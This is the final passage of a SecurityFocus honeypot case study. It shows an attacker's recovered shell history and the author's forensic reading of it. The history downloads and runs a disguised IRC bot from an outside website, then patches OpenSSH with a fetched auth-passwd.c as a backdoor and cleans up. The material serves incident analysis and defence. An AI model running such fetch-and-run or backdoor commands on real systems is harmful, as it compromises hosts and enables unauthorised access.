Figure 12, which came from my honeypot, shows us that the attacker has successfully logged back into my honeypot using SSH. I was watching this live as it was being performed on my honeypot. I ran into a small problem during this process, as SSH encrypts all of the data being passed between the honeypot and my IDS. So I was flying blind for a while. After I pulled the plug on the attack I was able to obtain the history file and figure out what exactly my hacker had done. Figure 13. shows us the history file:

```
cd /etc/tcfs ; lynx -source
www.somewebsite.com/somedirectory/obsd/inetd > inetd ; chmod +x inetd ;
./inetd
ftp ftp.openbsd.org
tar -zxvf openssh-3.4.tgz
cd ssh
patch < /etc/tcfs/openbsd30_3.4.patch
lynx -source www.somewebsite.com/somedirectory/auth-passwd.c2 >
auth-passwd.c
make obj
make cleandir
make depend
make
make install
kill -9 `cat /var/run/sshd.pid` ; /usr/sbin/sshd
cd .. ; rm -rf ssh openssh-3.4.tgz openbsd30_3.4.patch
ssh localhost -l root
logout
```

### Figure 13: The history file

What do we gather from this information? We see that our attacker then goes out to [www.somewebsite.com/somedirectory/](http://www.somewebsite.com/somedirectory/) and grabs a file by the name of `inetd`. For anyone out there who is not familiar with Unix or Linux, `inetd` allows a daemon running to invoke others. `inetd` is usually controlled by `inetd.conf`. Many versions of Linux are replacing `inetd` with `xinetd`, which is more robust and powerful. However, this `inetd` was not the version that normally runs on a Unix machine. Rather, the `inetd` that I found was really an IRC bot. After the attacker installs his bot, he proceeds to go out to the Web site and begins to download an `auth-passwd.c2`. He then patches the OpenSSH daemon so no one can come in behind him

and proceeds to use his new box for IRC. After about 30 minutes of watching this guy and his buddies run IRC, I got impatient and decided to pull the plug.

## Conclusion

A honey-pot can teach us many things, such as how to perform forensics, but the one thing I use a honey-pot for is information. The information you gather, from watching a honey-pot being probed to watching it actually being hacked, is invaluable. How we use and distribute this information is just as critical as the honey-pot itself: we must set up and monitor the honey-pot without letting the world know the details of the attack or the honey-pot is just a box waiting to be hacked.

*Toby Miller is a contributing author to the book [Intrusion Detection Signatures and Analysis](#) (NEW RIDERS Publishing) and is a contributing author of [Maximum Security Rev. 3](#) (SAMS Publishing). He has done work both in the Linux security world and Intrusion Detection/Firewall world. Mr. Miller has published numerous papers for both SANS and Securityfocus.*

## Relevant Links

[The Value of Honey-pots, Part One: Definitions and Values of Honey-pots](#)  
*Lance Spitzner, The Honey-net Project*

[The Value of Honey-pots, Part One: Definitions and Values of Honey-pots](#)  
*Lance Spitzner, The Honey-net Project*

[Know Your Enemy: Honey-nets](#)  
*The Honey-net Project*

[Privacy Statement](#)

Copyright 2006, SecurityFocus